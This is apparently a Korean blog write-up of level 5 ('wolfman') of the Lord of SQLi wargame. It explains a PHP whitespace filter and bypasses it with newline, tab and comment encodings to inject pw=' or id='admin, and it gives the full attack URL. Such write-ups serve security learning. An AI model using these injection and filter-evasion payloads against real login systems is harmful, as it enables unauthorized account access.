5번문제의 php코드

1.문제풀이

 

1) 코드 해석

  • 다음 코드를 보면 이번문제에서는 공백(스페이스바)이 필터링 되어있는것을 볼 수 있다

if(preg_match('/ /i'$_GET[pw])) exit("No whitespace ~_~"); 

  • 공백 필터링만 우회해서 admin계정으로 접속하면 역시 풀리는 문제이다

 

2) 문제풀이

  • 먼저 admin계정을 가져오기 위해서는 pw=' 문구로 다음과 같이 첫번째 쿼리문을 닫아준다

select id from prob_wolfman where id='guest' and pw=''

  • 그 뒤에 or id='admin 문구로 admin계정으로 접속 할 수 있게 한다
  • 따라서 pw=' or id='admin 문구를 대입하여 다음과 같이 쿼리문에 삽입시키면 공격이 성공한다
  • select id from prob_wolfman where id='guest' and pw='' or id='admin'
  • 하지만 or 양쪽으로 공백이 있으므로 필터링 우회를 해서 공격해야한다
  • 공백 필터링 우회방법에는 여러가지가 있는데 이 중에 골라서 쓰면 된다 

Tab : %09

\n : %0a

\r : %0d

주석 : /**/

  • 공격 시 삽입 구문: pw='%0aor%0aid='admin
  • 공격 후 구문: https://los.rubiya.kr/chall/wolfman_4fdc56b75971e41981e3d1e2fbe9b7f7.php?pw=%27%0aor%0aid=%27admin 

공격 성공 화면

 

'Lord of SQLi | WebHacking.kr' 카테고리의 다른 글

Lord if SQLi(#7 orge)  (0) 2022.12.30
Lord of SQLi(#6 darkelf)  (0) 2022.12.30
Lord of SQLi(#4 orc)  (0) 2022.12.28
Lord of SQLi(#3 goblin)  (0) 2022.12.28
Lord of SQLi(#2 cobolt)  (1) 2022.12.28

+ Recent posts